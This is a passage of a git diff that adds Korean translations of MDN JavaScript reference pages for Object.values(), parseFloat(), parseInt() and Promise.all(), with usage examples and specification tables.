+var myObj = new MyNumberType(4);
+myObj + 3; // 7</pre>
+
+<h3 id="단항_더하기_사용하기"><a name="Details_of_unary_plus">단항 더하기 사용하기</a></h3>
+
+<pre class="notranslate">+"5" // 5 (string to number)
++"" // 0 (string to number)
++"1 + 2" // NaN (doesn't evaluate)
++new Date() // same as (new Date()).getTime()
++"foo" // NaN (string to number)
++{} // NaN
++[] // 0 (toString() returns an empty string list)
++[1] // 1
++[1,2] // NaN
++new Set([1]) // NaN
++BigInt(1) // Uncaught TypeError: Cannot convert a BigInt value to a number
++undefined // NaN
++null // 0
++true // 1
++false // 0</pre>
+
+<h2 id="명세">명세</h2>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="라우저_호환성">라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.valueOf")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+ <li>{{jsxref("parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Symbol.toPrimitive()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/values/index.html b/files/ko/web/javascript/reference/global_objects/object/values/index.html
new file mode 100644
index 0000000000..af8f159a53
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/values/index.html
@@ -0,0 +1,98 @@
+---
+title: Object.values()
+slug: Web/JavaScript/Reference/Global_Objects/Object/values
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/values
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.values()</strong></code> 메소드는 전달된 파라미터 객체가 가지는 (열거 가능한) 속성의 값들로 이루어진 배열을 리턴합니다. 이 배열은 {{jsxref("Statements/for...in", "for...in")}} 구문과 동일한 순서를 가집니다. (for in 반복문은 프로토타입 체인 또한 열거한다는 점에서 차이가 있습니다.)</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-values.html")}}</div>
+
+<p class="hidden">샘플 소스는 GitHub에 저장되어 있습니다. 샘플 소스에 대해서 컨트리뷰트하고 싶다면, <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>  프로젝트를 클론하고, 풀 리퀘스트를 보내주세요. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Object.values(<var>obj</var>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>배열로 변환할 열거 가능한 속성을 가지는 객체</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>전달된 객체의 속성 값들을 포함하는 배열</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Object.values()</code> 는 파라매터로 전달된 객체가 가지는 열거 가능한 속성의 값들로 구성된 배열을 반환합니다. 배열의 값들이 순서는 오브젝트의 속성을 for in 구문등으로 반복한 결과와 동일합니다. (참고로 for in 구문은 순서를 보장하지 않습니다)</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var obj = { foo: 'bar', baz: 42 };
+console.log(Object.values(obj)); // ['bar', 42]
+
+// 유사 배열 (숫자를 속성으로 사용하는 객체)
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.values(obj)); // ['a', 'b', 'c']
+
+// 유사 배열의 경의 속성으로 사용한 숫자의 크기 순으로 정렬되어 반환됩니다.
+var an_obj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.values(an_obj)); // ['b', 'c', 'a']
+
+// getFoo는 열거 가능한 속성이 아니라서 배열에 포함되지 않습니다.
+var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } });
+my_obj.foo = 'bar';
+console.log(Object.values(my_obj)); // ['bar']
+
+// 객체가 아닌 경우에는 객체로 강제로 변환되어 적용됩니다.
+console.log(Object.values('foo')); // ['f', 'o', 'o']
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>Object.values</code> 메소드는 구형 브라우저에서 지원하지 않습니다. 구형 브라우저와의 호환성을 고려하기 위해 폴리필을 찾아 볼 수 있습니다. <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a> 혹은 <a href="https://github.com/es-shims/Object.values">es-shims/Object.values</a> 를 참조해보세요.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.values', 'Object.values')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES8', '#sec-object.values', 'Object.values')}}</td>
+ <td>{{Spec2('ES8')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.values")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.entries()")}}</li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/parsefloat/index.html b/files/ko/web/javascript/reference/global_objects/parsefloat/index.html
new file mode 100644
index 0000000000..bfc5b2d41e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/parsefloat/index.html
@@ -0,0 +1,120 @@
+---
+title: parseFloat()
+slug: Web/JavaScript/Reference/Global_Objects/parseFloat
+tags:
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>parseFloat()</strong></code> 함수는 문자열을 분석해 부동소수점 실수로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-parsefloat.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">parseFloat(<em>value</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>변환할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값에서 분석한 부동소수점 수. 분석할 수 없으면 {{jsxref("NaN")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>parseFloat()</code>은 최상위 함수로 어떠한 객체와도 연결되어 있지 않습니다.</p>
+
+<p><code>parseFloat()</code>은 매개변수로 주어진 값 분석하고 부동소수점 수를 반환합니다. 기호(+, -), 숫자(0-9), 소수점 또는 지수 이외의 문자를 발견하면, 그 전까지의 결과만 반환하고 문제의 문자와 그 이후는 모두 무시합니다. 위치에 상관하지 않고, 그런 문자를 발견하면 {{jsxref("NaN")}}을 반환하는 더 엄격한 방법이 필요하면 {{jsxref("Number", "Number(value)")}}를 고려하세요.</p>
+
+<p>값이 문자열인데 첫 번째 문자를 숫자로 변환할 수 없는 경우 <code>parseFloat()</code>도 <code>NaN</code>을 반환합니다.</p>
+
+<p>수학적으로 <code>NaN</code>은 어떤 진법에도 속하지 않습니다. {{jsxref("isNaN", "isNaN()")}} 함수를 사용해 결과 값이 <code>NaN</code>인지 확인할 수 있습니다. <code>NaN</code>을 다른 값과의 수학 연산에 사용하면 그 결과도 언제나 <code>NaN</code>이 됩니다.</p>
+
+<p><code>parseFloat()</code>은 {{jsxref("Infinity")}}도 분석 및 반환할 수 있습니다. {{jsxref("isFinite", "isFinite()")}} 함수를 사용해 결과 값이 유한수(<code>Infinity</code>, <code>-Infinity</code>, <code>NaN</code>이 아닌 수)인지 알 수 있습니다.</p>
+
+<p><code>parseFloat()</code>은 <code>toString</code>이나 <code>valueOf</code> 메서드를 구현한 객체도 분석할 수 있습니다. 이 때의 결과는 객체의 <code>toString()</code>, <code>valueOf()</code>의 반환 값을 <code>parseFloat()</code>에 전달한 것과 동일합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="숫자를_반환하는_경우">숫자를 반환하는 경우</h3>
+
+<p>아래 예제는 모두 <code>3.14</code>를 반환합니다.</p>
+
+<pre class="brush: js">parseFloat(3.14);
+parseFloat('3.14');
+parseFloat('314e-2');
+parseFloat('0.0314E+2');
+parseFloat('3.14와 숫자가 아닌 문자들');
+
+var foo = Object.create(null);
+foo.toString = function () { return "3.14"; };
+parseFloat(foo);
+
+var foo = Object.create(null);
+foo.valueOf = function () { return "3.14"; };
+parseFloat(foo);​​​​​
+</pre>
+
+<h3 id="NaN을_반환하는_경우"><code>NaN</code>을 반환하는 경우</h3>
+
+<p>다음 예제는 {{jsxref("NaN")}}을 반환합니다.</p>
+
+<pre class="brush: js">parseFloat('FF2');
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.1.2.3', 'parseFloat')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-parsefloat-string', 'parseFloat')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-parsefloat-string', 'parseFloat')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.parseFloat")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/parseint/index.html b/files/ko/web/javascript/reference/global_objects/parseint/index.html
new file mode 100644
index 0000000000..0539e1ba53
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/parseint/index.html
@@ -0,0 +1,220 @@
+---
+title: parseInt()
+slug: Web/JavaScript/Reference/Global_Objects/parseInt
+tags:
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/parseInt
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>parseInt()</strong></code> 함수는 문자열 인자를 구문분석하여 특정 진수(수의 진법 체계에 기준이 되는 값)의 정수를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-parseint.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">parseInt(<em>string</em>, <em>radix</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>분석할 값. 만약 <code>string</code>이 문자열이 아니면 문자열로 변환(<code><a href="http://www.ecma-international.org/ecma-262/6.0/#sec-tostring">ToString</a></code> 추상 연산을 사용)합니다. 문자열의 선행 공백은 무시합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>radix</code>{{optional_inline}}</dt>
+ <dd><code>string</code>이 표현하는 정수를 나타내는 2와 36 사이의 진수(수의 진법 체계에 기준이 되는 값). 주의하세요-기본값이 10이 아닙니다!</dd>
+ <dt></dt>
+ <dt>
+ <div class="blockIndicator warning">
+ <p><a href="#설명">아래의 설명</a>은 radix가 제공되지 않았을때 무엇이 발생하는지 상세하게 설명하고 있습니다.</p>
+ </div>
+ </dt>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 <code>string</code>로부터 분석한 정수.</p>
+
+<p>또는 아래의 경우에는 {{jsxref("NaN")}}을 반환합니다</p>
+
+<ul>
+ <li><code>radix</code>가 2보다 작거나 36보다 큰 경우</li>
+ <li>첫번째 non-whitespace 문자가 숫자로 변환되지 않는 경우</li>
+</ul>
+
+<h2 id="설명_2"><a id="설명" name="설명">설명</a></h2>
+
+<p><code>parseInt</code> 함수는 첫 번째 인자를 문자열로 변환하고 파싱하고,  그 문자열을 파싱하여 정수나 <code>NaN</code>을 리턴합니다.</p>
+
+<p>만약 <code>NaN</code>이 아니면, 첫번째 인자를 특정 <code><var>radix</var></code>(진수) 값으로 표현한 정수가 반환됩니다. (예를 들면, <code><var>radix</var></code>가 <code>10</code>인 경우 십진수로 변환하며, <code>8</code>인 경우는 8진수로, <code>16</code>인 경우 16진수 등등으로  변환합니다.)</p>
+
+<p><code>radix </code>가 <code>10</code> 이상인 경우, <code>9</code>보다 큰 숫자들은 알파벳 문자로 나타내집니다. 예를 들면, 16 진수의 경우, A부터 F가 사용됩니다.</p>
+
+<p>만약 <code>parseInt</code> 함수가 특정 진수를 나타내는 숫자가 아닌 글자를 마주치게 되면, 이 글자와 계속되는 글자들은 전부 무시되며, 파싱된 정수값을 리턴합니다. <code>parseInt</code> 함수는 정수값으로 숫자를 잘라버립니다. 맨 앞의 공백과 그 뒤의 공백들은 허용됩니다.</p>
+
+<p>일부 숫자들은 문자열 표현에 e 문자를 사용하기 때문에(예: 6.022 × 10<sup>23</sup>의 경우 <code>6.022e23</code> ) 숫자를 자르기 위하여 <code>parseInt</code>를 사용하는 것은 매우 크거나 매우 작은 숫자에 사용하는 경우 예기치 않은 결과가 발생합니다. <code>parseInt</code>는 {{jsxref("Math.floor()")}}의 대체품으로 사용해서는 안 됩니다.</p>
+
+<p><code>parseInt</code>는 양수를 의미하는 <code>+ </code>기호와 음수를 나타내는 <code>-</code> 기호를 정확히 이해합니다(ECMAScript 1 이후). 공백이 제거된 후 구문 분석의 초기 단계로 수행됩니다. 기호를 찾을 수 없으면 알고리즘이 다음 단계로 이동하고, 그렇지 않으면 기호를 제거하고 문자열의 나머지 부분에서 숫자 파싱을 실행합니다.</p>
+
+<p>만약 <var>radix</var> 가 <code>undefined</code> 이거나 0이라면, (또는 없다면), JavaScript 는 아래와 같이 임의 처리합니다. :</p>
+
+<ol>
+ <li>인풋 값 <code>string</code> 이 "0x" 나 "0X"로 시작한다면, <var>radix</var> 는 16(16진)이며, 나머지 문자열은 파싱됩니다.</li>
+ <li>인풋 값 <code>string</code> 이 "0"으로 시작한다면, <var>radix</var> 는 8(8진)이거나, 10(십진)입니다. 정확히 이 선택된 radix 는 구현 의존적적입니다. ECMAScript 5 는 10(십진)이 사용되는 것을 명시하지만, 모든 브라우저가 아직 이렇게 되지 않습니다. 이러한 이유로 <strong>항상 <code>parseInt</code>를 사용할 때는 radix 값을 명시해야 합니다.</strong></li>
+ <li>인풋 값 <code>string</code> 이 다른 값으로 시작 된다면, radix 는 10(십진)입니다.</li>
+</ol>
+
+<p>첫 번째 글자가 숫자로 변환될 수 없다면, <code>parseInt</code> 는 <code>NaN</code>을 리턴할 것입니다.</p>
+
+<p>연산의 경우, <code>NaN</code> 값은 어떠한 radix 숫자도 아닙니다. <code>parseInt</code> 값이 <code>NaN</code>인지 알아내기 위해 {{jsxref("isNaN")}} 함수를 호출할 수 있습니다. 만약 <code>NaN</code>이 산술 연산으로 넘겨진다면, 이 연산의 결과 또한 NaN이 될 것입니다.</p>
+
+<p>특정 진수의 스트링 리터럴로 숫자를 변환하는 것은 <code>intValue.toString(radix)</code>를 사용합니다.</p>
+
+<div class="blockIndicator warning">
+<p>{{jsxref("BigInt")}} 주의: <code>parseInt</code>는 {{jsxref("BigInt")}}를 {{jsxref("Number")}}으로 변환하여 정확성을 떨어뜨립니다. 이는 "n"을 포함한 숫자가 아닌 값은 삭제되기 때문입니다.</p>
+</div>
+
+<h2 id="radix가_없는_8진_해석">radix가 없는 8진 해석</h2>
+
+<p>비록 ECMAScript 3 에서 권장되지 않고, ECMAScript 5 에서 금지되었지만, 많은 구현들은 <code>0</code>으로 시작하는 8진수 문자열을 해석합니다. 다음의 코드는 8진 결과를 가질 수도 있으며, 10진의 결과를 가질 수도 있습니다. <strong>항상 이러한 명확하지 않은 표현은 피하고 <code>radix</code>를 명시하도록 합니다.</strong></p>
+
+<pre class="brush: js notranslate">parseInt("0e0"); // 0
+parseInt("08"); // 0, '8' 은 8진수가 아니다.
+</pre>
+
+<h3 id="ECMAScript_5는_8진수_해석을_삭제하였습니다.">ECMAScript 5는 8진수 해석을 삭제하였습니다.</h3>
+
+<p>ECMAScript 5의 <code>parseInt</code> 함수 스펙은 더 이상 <code>0</code> 으로 시작하는 8진수 값의 문자열을 다루는 구현을 허용하지 않습니다. ECMAScript 5는 다음을 발표했습니다. :</p>
+
+<p><code>parseInt</code> 함수는 특정 radix(진수)값에 따라 문자열 아규먼트 내용의 해석을 하고, 그 영향을 받은 정수 값을 생성합니다. 문자열 내에서 시작되는 부분에 위치한 공백은 무시됩니다. 만약 radix 값이 정의되지 않거나, <code>0</code>이라면, 이것은 10진수로 여겨집니다. <code>0x</code> 이나 <code>0X</code> 으로 시작되는 숫자 일 때는 16진수로 여겨집니다.</p>
+
+<p>ECMAScript 3 와의 차이는 8진수의 해석을 허용하고 있느냐의 차이입니다.</p>
+
+<p>많은 구현들이 2013부터 이 방식을 채택하고 있지 않아 왔습니다. 오래된 브라우저는 지원되어야 하기 때문에 <strong>항상 radix 값을 명시 해야합니다. </strong></p>
+
+<h2 id="더_엄격한_파싱_함수">더 엄격한 파싱 함수</h2>
+
+<p>가끔은 int 값을 파싱할 때 더 엄격한 방식을 이용하는 것이유용합니다. 정규 표현식이 도움이 될 것입니다. :</p>
+
+<pre class="brush: js notranslate">filterInt = function (value) {
+ if(/^(\-|\+)?([0-9]+|Infinity)$/.test(value))
+ return Number(value);
+ return NaN;
+}
+
+console.log(filterInt('421')); // 421
+console.log(filterInt('-421')); // -421
+console.log(filterInt('+421')); // 421
+console.log(filterInt('Infinity')); // Infinity
+console.log(filterInt('421e+0')); // NaN
+console.log(filterInt('421hop')); // NaN
+console.log(filterInt('hop1.61803398875')); // NaN
+console.log(filterInt('1.61803398875')); // NaN
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="parseInt_사용하기"><code>parseInt()</code> 사용하기</h3>
+
+<p>다음의 예제는 모두 <code>15</code>를 리턴합니다.</p>
+
+<pre class="brush: js notranslate">parseInt(" 0xF", 16);
+parseInt(" F", 16);
+parseInt("17", 8);
+parseInt(021, 8);
+parseInt("015", 10); // parseInt(015, 10); 13이 리턴될 것입니다.
+parseInt(15.99, 10);
+parseInt("15,123", 10);
+parseInt("FXX123", 16);
+parseInt("1111", 2);
+parseInt("15*3", 10);
+parseInt("15e2", 10);
+parseInt("15px", 10);
+parseInt("12", 13);
+</pre>
+
+<p>다음의 예제는 모두 <code>NaN</code>을 리턴합니다.</p>
+
+<pre class="brush: js notranslate">parseInt("Hello", 8); // 전부 숫자가 아님.
+parseInt("546", 2); // 숫자는 2진법 표현이 불가능함.
+</pre>
+
+<p>다음의 예제는 모두 <code>-15</code>을 리턴합니다. :</p>
+
+<pre class="brush: js notranslate">parseInt("-F", 16);
+parseInt("-0F", 16);
+parseInt("-0XF", 16);
+parseInt(-15.1, 10)
+parseInt(" -17", 8);
+parseInt(" -15", 10);
+parseInt("-1111", 2);
+parseInt("-15e1", 10);
+parseInt("-12", 13);
+</pre>
+
+<p>다음의 예제는 모두 <code>4</code>를 리턴합니다.</p>
+
+<pre class="notranslate">parseInt(4.7, 10)
+parseInt(4.7 * 1e22, 10) // 매우 큰 숫자가 4가 됨
+parseInt(0.00000000000434, 10) // 매우 작은 숫자가 4가 됨
+</pre>
+
+<p>만약 숫자가 <code>1e+21</code>과 같거나 큰 경우, 또는 <code>1e-7</code>과 같거나 작은 경우, <code>1</code>을 리턴합니다.(radix가 <code>10</code>인 경우)</p>
+
+<pre class="notranslate">parseInt(0.0000001,10);
+parseInt(0.000000123,10);
+parseInt(1e-7,10);
+parseInt(1000000000000000000000,10);
+parseInt(123000000000000000000000,10);
+parseInt(1e+21,10);
+</pre>
+
+<p>다음의 예제는 모두 <strong><code>224</code></strong>를 리턴합니다.</p>
+
+<pre class="brush: js notranslate">parseInt("0e0", 16);
+</pre>
+
+<p>{{jsxref("BigInt")}} 는 정확성을 잃습니다.</p>
+
+<pre class="notranslate">parseInt('900719925474099267n')
+// 900719925474099300</pre>
+
+<p><code>parseInt</code> 는 숫자구분자와 같이 작동하지 않습니다.</p>
+
+<pre class="notranslate">parseInt('123_456')
+// 123</pre>
+
+<h2 id="명세">명세</h2>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-parseint-string-radix', 'parseInt')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.parseInt")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Number.toString()")}}</li>
+ <li>{{jsxref("Object.valueOf")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/all/index.html b/files/ko/web/javascript/reference/global_objects/promise/all/index.html
new file mode 100644
index 0000000000..c8a458a665
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/all/index.html
@@ -0,0 +1,239 @@
+---
+title: Promise.all()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/all
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Promise
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Promise.all()</strong></code> 메서드는 순회 가능한 객체에 주어진 모든 프로미스가 이행한 후, 혹은 프로미스가 주어지지 않았을 때 이행하는 {{jsxref("Promise")}}를 반환합니다. 주어진 프로미스 중 하나가 거부하는 경우, 첫 번째로 거절한 프로미스의 이유를 사용해 자신도 거부합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-all.html")}}</div>
+
+<p class="hidden">해당 예제의 소스 코드는 GitHub 리포지토리에 저장되어 있습니다. 인터랙티브 데모 프로젝트에 기여하고 싶다면 <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> 를 클론하고 pull request를 보내 주세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Promise.all(<var>iterable</var>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>{{jsxref("Array")}}와 같이 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">순회 가능</a>한(iterable) 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<ul>
+ <li>매개변수로 주어진 순회 가능한 객체가 비어 있으면 <strong>이미 이행한</strong> {{jsxref("Promise")}}.</li>
+ <li>객체에 프로미스가 없으면, <strong>비동기적으로 이행하는</strong> {{jsxref("Promise")}}. 단, 구글 크롬 58은 <strong>이미 이행한</strong> 프로미스를 반환합니다.</li>
+ <li>그렇지 않은 경우, <strong>대기 중</strong>인 {{jsxref("Promise")}}. 결과로 반환하는 프로미스는 인자의 모든 프로미스가 이행하거나 어떤 프로미스가 거부할 때 (호출 스택이 비는 즉시) <strong>비동기적으로</strong> 이행/거부합니다. "<code>Promise.all</code>의 동기성/비동기성" 예제를 참고하세요. 반환하는 프로미스의 이행 값은 매개변수로 주어진 프로미스의 순서와 일치하며, 완료 순서에 영향을 받지 않습니다.</li>
+</ul>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Promise.all</code>은 여러 프로미스의 결과를 집계할 때 유용하게 사용할 수 있습니다.</p>
+
+<h3 id="이행">이행</h3>
+
+<p>반환한 프로미스의 이행 결과값은 (프로미스가 아닌 값을 포함하여) 매개변수로 주어진 순회 가능한 객체에 포함된 <strong>모든</strong> 값을 담은 배열입니다.</p>
+
+<ul>
+ <li>빈 객체를 전달한 경우, (동기적으로) 이미 이행한 프로미스를 반환합니다.</li>
+ <li>전달받은 모든 프로미스가 이미 이행되어 있거나 프로미스가 없는 경우, 비동기적으로 이행하는 프로미스를 반환합니다.</li>
+</ul>
+
+<h3 id="거부">거부</h3>
+
+<p>주어진 프로미스 중 하나라도 거부하면, 다른 프로미스의 이행 여부에 상관없이 첫 번째 거부 이유를 사용해 거부합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Promise.all_사용하기"><code>Promise.all</code> 사용하기</h3>
+
+<p><code>Promise.all</code>은 배열 내 모든 값의 이행(또는 첫 번째 거부)을 기다립니다.</p>
+
+<pre class="brush: js">var p1 = Promise.resolve(3);
+var p2 = 1337;
+var p3 = new Promise((resolve, reject) =&gt; {
+ setTimeout(() =&gt; {
+ resolve("foo");
+ }, 100);
+});
+
+Promise.all([p1, p2, p3]).then(values =&gt; {
+ console.log(values); // [3, 1337, "foo"]
+});</pre>
+
+<p>순회 가능한 객체에 프로미스가 아닌 값이 들어있다면 무시하지만, 이행 시 결과 배열에는 포함합니다.</p>
+
+<pre class="brush: js">// 매개변수 배열이 빈 것과 동일하게 취급하므로 이행함
+var p = Promise.all([1,2,3]);
+// 444로 이행하는 프로미스 하나만 제공한 것과 동일하게 취급하므로 이행함
+var p2 = Promise.all([1,2,3, Promise.resolve(444)]);
+// 555로 거부하는 프로미스 하나만 제공한 것과 동일하게 취급하므로 거부함
+var p3 = Promise.all([1,2,3, Promise.reject(555)]);
+
+// setTimeout()을 사용해 스택이 빈 후에 출력할 수 있음
+setTimeout(function() {
+ console.log(p);
+ console.log(p2);
+ console.log(p3);
+});
+
+// 출력
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[3] }
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[4] }
+// Promise { &lt;state&gt;: "rejected", &lt;reason&gt;: 555 }</pre>
+
+<h3 id="Promise.all의_동기성비동기성"><code>Promise.all</code>의 동기성/비동기성</h3>
+
+<p>다음 예제는 <code>Promise.all</code>의 비동기성(주어진 인자가 빈 경우엔 동기성)을 보입니다.</p>
+
+<pre class="brush: js">// Promise.all을 최대한 빨리 완료시키기 위해
+// 이미 이행된 프로미스로 배열을 만들어 인자로 전달
+var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)];
+
+var p = Promise.all(resolvedPromisesArray);
+// 실행 즉시 p의 값을 기록
+console.log(p);
+
+// 호출 스택을 비운 다음 실행하기 위해 setTimeout을 사용
+setTimeout(function() {
+ console.log('the stack is now empty');
+ console.log(p);
+});
+
+// 로그 출력 결과 (순서대로):
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[2] }
+</pre>
+
+<p><code>Promise.all()</code>이 거부하는 경우에도 동일한 일이 발생합니다:</p>
+
+<pre class="brush: js">var mixedPromisesArray = [Promise.resolve(33), Promise.reject(44)];
+var p = Promise.all(mixedPromisesArray);
+console.log(p);
+setTimeout(function() {
+ console.log('the stack is now empty');
+ console.log(p);
+});
+
+// 출력
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "rejected", &lt;reason&gt;: 44 }
+</pre>
+
+<p>그러나, <code>Promise.all</code>은 주어진 순회 가능한 객체가 비어있는 경우에만 동기적으로 이행됩니다.</p>
+
+<pre class="brush: js">var p = Promise.all([]); // 즉시 이행함
+var p2 = Promise.all([1337, "hi"]); // 프로미스가 아닌 값은 무시하지만 비동기적으로 실행됨
+console.log(p);
+console.log(p2);
+setTimeout(function() {
+ console.log('the stack is now empty');
+ console.log(p2);
+});
+
+// 출력
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[0] }
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[2] }
+</pre>
+
+<h3 id="Promise.all()_실패_우선성"><code>Promise.all()</code> 실패 우선성</h3>
+
+<p><code>Promise.all()</code>은 배열 내 요소 중 어느 하나라도 거부하면 즉시 거부합니다. 예를 들어, 일정 시간이 지난 이후 이행하는 네 개의 프로미스와, 즉시 거부하는 하나의 프로미스를 전달한다면 <code>Promise.all()</code>도 즉시 거부합니다.</p>
+
+<pre class="brush: js">var p1 = new Promise((resolve, reject) =&gt; {
+ setTimeout(() =&gt; resolve('하나'), 1000);
+});
+var p2 = new Promise((resolve, reject) =&gt; {
+ setTimeout(() =&gt; resolve('둘'), 2000);
+});
+var p3 = new Promise((resolve, reject) =&gt; {
+ setTimeout(() =&gt; resolve('셋'), 3000);
+});
+var p4 = new Promise((resolve, reject) =&gt; {
